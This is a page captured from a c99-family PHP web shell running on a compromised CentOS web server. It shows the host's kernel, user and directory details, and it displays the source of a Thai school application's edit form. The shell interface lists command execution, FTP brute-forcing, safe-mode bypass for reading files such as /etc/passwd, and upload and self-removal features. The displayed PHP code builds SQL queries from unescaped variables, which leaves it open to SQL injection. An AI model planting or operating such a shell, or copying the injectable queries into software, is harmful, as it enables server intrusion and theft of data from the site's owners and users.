!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/var/www/html/manage/directorBCNU/   drwxr-xr-x
Free 52.81 GB of 127.8 GB (41.32%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     FrmEditFormation.php (3.27 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
session_start
();
 if (
session_is_registered("valid_user")&&session_is_registered("Priority")&&session_is_registered("password") )
 {
include(
"../include/FunctionDB.php");
include(
"admin_menu.php");
 
ConnectDB();
$sql "SELECT * FROM personal_tb WHERE Teacher_code='$Teacher_code'";
$res mysql_query($sql);
$rss mysql_fetch_array($res);
$sql1 "Select * From   formation_tb  Where  Code='$Code' ";
$result1 mysql_query($sql1) or die("$sql $result".mysql_error());
$rss mysql_fetch_array($result1);
?>
<meta http-equiv="Content-Type" content="text/html; charset=TIS-620"><table width="798" border="0" cellpadding="0" cellspacing="0">
    <tr>
        <td width="798"><br>
          <fieldset>
            <legend><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_3"]; ?>"><a href="menu_teacher.php " >หน้าหลัก</a> <img src="../picture/ico3.gif" width="10" height="10" border="0" align="absmiddle"><a href="FormationList.php?Teacher_code=<? echo $rss[Teacher_code?>">ข้อมูลประชาสัมพันธ์</a></font></legend>
            <label><div align="center">
              <form id="form1" name="form1" method="post" action="EditFormation.php">
                <p align="left"><font size="2" face="Tahoma"><img src="../picture/previous.gif" onclick="window.history.back()"  width="85" height="22" border="0" /></font></p>
                <table width="73%" border="0" align="center" cellpadding="0" cellspacing="0" bordercolor="#006699">
                  <tr >
                    <td height="25" colspan="3" bgcolor="#ECF5FF">&nbsp;</td>
                  </tr>
                  <tr bgcolor="#ECF5FF">
                    <td width="20%" height="25"><div align="center"><font color="#003366" size="2" face="Tahoma">เรื่อง</font></div></td>
                    <td width="1%">&nbsp;</td>
                    <td width="79%"><input name="InforName" type="text" class="input" id="InforName" value="<? echo $rss[InforName]?>" size="70" /></td>
                  </tr>
                  <tr bgcolor="#99CCFF">
                    <td height="122" bgcolor="#ECF5FF"><div align="center"><font color="#003366" size="2" face="Tahoma">รายละเอียด</font></div></td>
                    <td bgcolor="#ECF5FF">&nbsp;</td>
                    <td bgcolor="#ECF5FF"><p>
                      <textarea name="InforDetail" cols="50" rows="7" class="input" id="InforDetail" ><? echo $rss[InforDetail]?></textarea>
                    </p>
                    </td>
                  </tr>
                  <tr bgcolor="#ECF5FF" >
                    <td height="29" colspan="3"><div align="center">
                        <input name="Submit" type="submit" id="Submit" value="    แก้ไข    " />
                      &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
                      <input type="hidden" name="Teacher_code" value="<? echo $rss[Teacher_code]?>" />
                      <input name="Code" type="hidden" id="Code" value="<? echo $rss[Code]?>" />
                    </div></td>
                  </tr>
                </table>
              </form>
              </div>
            </label>
        </fieldset><br>
        <font color="<?php echo $GLOBALS["COLOR_FONT_3"];?>" size="2"><b>หมายเหตุ :</b> ใช้เมาส์คลิกที่ชื่อ<br>
      </font></td>
    </tr>
</table>
<?php 
    
}
else
{
       echo
"<meta http-equiv=\"refresh\" content=\"3;URL=../login.php\">\n";
       echo
"Please Login ";
}
?>

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.008 ]--